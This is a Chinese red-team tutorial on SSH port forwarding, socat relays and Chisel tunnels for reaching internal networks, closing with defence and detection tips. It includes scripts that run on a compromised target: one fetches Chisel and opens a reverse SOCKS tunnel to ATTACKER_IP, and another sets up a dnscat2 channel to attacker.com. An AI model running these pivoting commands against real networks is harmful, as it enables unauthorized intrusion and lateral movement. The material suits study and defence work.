隧道与代理:SSH Tunnel、Socat、Chisel
隧道与代理技术是红队内网渗透的核心能力。通过建立隧道,可以将内网服务暴露到攻击者可控的网络,实现内网穿透。
SSH端口转发
SSH本地端口转发(Local Port Forwarding)
将本地端口的流量转发到远程目标。
# 基本语法
ssh -L [本地地址:]本地端口:目标地址:目标端口 用户名@跳板机IP
# 示例:将本地8080端口转发到内网Web服务器
ssh -L 8080:192.168.1.100:80 user@jumpbox
# 访问本地8080端口即可访问内网Web服务
curl http://localhost:8080SSH远程端口转发(Remote Port Forwarding)
将远程主机的端口流量转发到本地或内网目标。
# 基本语法
ssh -R [远程地址:]远程端口:目标地址:目标端口 用户名@远程服务器
# 示例:将VPS的8080端口转发到内网Web服务器
ssh -R 8080:192.168.1.100:80 user@vps_server
# 从VPS访问 localhost:8080 即可访问内网Web服务SSH动态端口转发(SOCKS代理)
创建SOCKS代理,所有通过代理的流量都会被转发。
# 基本语法
ssh -D [本地地址:]本地端口 用户名@跳板机
# 示例:创建SOCKS5代理
ssh -D 1080 user@jumpbox
# 使用proxychains配置
# /etc/proxychains.conf
# socks5 127.0.0.1 1080
# 通过代理执行命令
proxychains nmap -sT 192.168.1.0/24SSH转发实用技巧
# 后台运行SSH隧道
ssh -fNL 8080:192.168.1.100:80 user@jumpbox
# 使用autossh保持连接
autossh -M 0 -fNL 8080:192.168.1.100:80 user@jumpbox
# 使用sshpass自动输入密码
sshpass -p 'password' ssh -fNL 8080:192.168.1.100:80 user@jumpboxSocat代理
基础Socat转发
# TCP端口转发
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
# UDP端口转发
socat UDP-LISTEN:53,fork UDP:192.168.1.100:53Socat代理服务器
# 创建简单代理
socat TCP-LISTEN:8080,fork TCP:TARGET:80
# 带日志的代理
socat TCP-LISTEN:8080,fork,reuseaddr SYSTEM:"echo 'Connection from:' >&2; socat - TCP:192.168.1.100:80"Socat加密代理
# 生成证书
openssl req -newkey rsa:2048 -nodes -keyout proxy.key -x509 -days 365 -out proxy.crt -subj "/CN=proxy"
cat proxy.key proxy.crt > proxy.pem
# 加密代理服务端
socat OPENSSL-LISTEN:4444,cert=proxy.pem,verify=0,fork TCP:192.168.1.100:80
# 加密代理客户端
socat TCP-LISTEN:8080,fork OPENSSL:VPS_IP:4444,verify=0Socat多端口代理
# 同时代理多个端口
socat TCP-LISTEN:80,fork TCP:192.168.1.100:80 &
socat TCP-LISTEN:443,fork TCP:192.168.1.100:443 &
socat TCP-LISTEN:3306,fork TCP:192.168.1.100:3306 &Chisel隧道
Chisel简介
Chisel是一个基于HTTP/TLS的快速TCP/UDP隧道工具,使用Go语言编写,无需额外依赖。
安装Chisel
# 下载Chisel
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
gunzip chisel_1.8.1_linux_amd64.gz
chmod +x chisel_1.8.1_linux_amd64
mv chisel_1.8.1_linux_amd64 /usr/local/bin/chiselChisel基本用法
# 攻击者 - 启动服务端
chisel server --reverse --port 8080
# 目标 - 连接服务端并创建SOCKS代理
chisel client ATTACKER_IP:8080 R:socks
# 目标 - 连接服务端并转发端口
chisel client ATTACKER_IP:8080 R:3306:127.0.0.1:3306Chisel高级用法
# 多端口转发
chisel client ATTACKER_IP:8080 R:8080:192.168.1.100:80 R:8443:192.168.1.100:443
# 反向SOCKS代理
chisel client ATTACKER_IP:8080 R:socks
# 正向SOCKS代理
chisel server --socks5 --port 1080
# 使用认证
chisel server --auth user:pass --port 8080
chisel client --auth user:pass ATTACKER_IP:8080 R:socksChisel自动化脚本
#!/bin/bash
# chisel_tunnel.sh - 自动化Chisel隧道脚本
ATTACKER_IP="ATTACKER_IP"
ATTACKER_PORT=8080
echo "[+] 启动Chisel隧道..."
# 下载Chisel(如果不存在)
if [ ! -f /tmp/chisel ]; then
wget -q https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz -O /tmp/chisel.gz
gunzip /tmp/chisel.gz
chmod +x /tmp/chisel
fi
# 启动隧道
/tmp/chisel client $ATTACKER_IP:$ATTACKER_PORT R:socks &
echo "[+] Chisel隧道已启动"SSH隧道自动化脚本
自动化SSH隧道管理器
#!/bin/bash
# ssh_tunnel_manager.sh - SSH隧道管理脚本
# 配置
JUMPBOX="user@jumpbox"
LOCAL_PORT=8080
REMOTE_TARGET="192.168.1.100:80"
# 启动隧道
start_tunnel() {
echo "[+] 启动SSH隧道..."
ssh -fNL $LOCAL_PORT:$REMOTE_TARGET $JUMPBOX
echo "[+] 隧道已启动:localhost:$LOCAL_PORT -> $REMOTE_TARGET"
}
# 停止隧道
stop_tunnel() {
echo "[+] 停止SSH隧道..."
pkill -f "ssh -fNL $LOCAL_PORT"
echo "[+] 隧道已停止"
}
# 检查隧道状态
check_tunnel() {
if pgrep -f "ssh -fNL $LOCAL_PORT" > /dev/null; then
echo "[+] 隧道运行中"
else
echo "[-] 隧道未运行"
fi
}
# 主菜单
case "$1" in
start)
start_tunnel
;;
stop)
stop_tunnel
;;
status)
check_tunnel
;;
*)
echo "用法: $0 {start|stop|status}"
;;
esac多跳SSH隧道
#!/bin/bash
# multi_hop_tunnel.sh - 多跳SSH隧道脚本
# 跳板机配置
HOP1="user1@10.0.0.1"
HOP2="user2@192.168.1.1"
TARGET="172.16.0.100:22"
echo "[+] 建立多跳SSH隧道..."
# 第一跳
ssh -L 2222:192.168.1.1:22 $HOP1 -fN
# 第二跳
ssh -L 3333:172.16.0.100:22 -p 2222 user2@127.0.0.1 -fN
# 连接目标
echo "[+] 隧道已建立,连接目标:ssh -p 3333 user@127.0.0.1"SSH隧道监控脚本
#!/bin/bash
# tunnel_monitor.sh - 监控隧道状态并自动重连
TUNNEL_CMD="ssh -fNL 8080:192.168.1.100:80 user@jumpbox"
CHECK_INTERVAL=60
while true; do
# 检查隧道是否存活
if ! pgrep -f "ssh -fNL 8080" > /dev/null; then
echo "[-] 隧道断开,重新建立连接..."
$TUNNEL_CMD
echo "[+] 隧道已重新建立"
fi
sleep $CHECK_INTERVAL
done内网穿透实战
场景1:穿透防火墙访问内网Web服务
# 攻击者VPS
ssh -R 8080:192.168.1.100:80 user@vps
# 从VPS访问内网Web服务
curl http://localhost:8080场景2:通过跳板机访问数据库
# 建立隧道
ssh -L 3306:10.0.0.50:3306 user@jumpbox
# 连接数据库
mysql -h 127.0.0.1 -P 3306 -u dbuser -p场景3:使用Chisel进行大规模内网扫描
# 攻击者 - 启动Chisel服务端
chisel server --reverse --port 8080
# 目标 - 启动Chisel客户端创建SOCKS代理
chisel client ATTACKER_IP:8080 R:socks
# 攻击者 - 使用proxychains进行内网扫描
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains nmap -sT -Pn 10.0.0.0/24场景4:DNS隧道辅助
# 使用DNS隧道作为备份通道
# 攻击者 - 启动dnscat2服务器
dnscat2-server attacker.com
# 目标 - 启动dnscat2客户端
dnscat2 attacker.com
# 通过DNS隧道建立SOCKS代理隧道工具对比
| 工具 | 协议 | 加密 | 易用性 | 稳定性 | 适用场景 |
|---|---|---|---|---|---|
| SSH | TCP | 是 | 高 | 高 | 通用场景 |
| Socat | TCP/UDP | 可选 | 中 | 高 | 端口转发 |
| Chisel | HTTP | 是 | 高 | 中 | 内网穿透 |
| nc | TCP | 否 | 高 | 低 | 快速测试 |
| stunnel | TCP | 是 | 中 | 高 | 加密隧道 |
安全注意事项
防御措施
- 监控异常连接:定期检查系统网络连接
- 限制SSH访问:使用密钥认证,禁用密码登录
- 网络分段:限制内网横向移动
- 日志审计:记录所有SSH连接和端口转发
- 入侵检测:部署IDS/IPS系统
检测方法
# 检查SSH隧道
ps aux | grep ssh
netstat -tulnp | grep ssh
# 检查端口转发
lsof -i :8080
# 检查进程
pgrep -f "chisel\|socat"最后更新:2026-08-22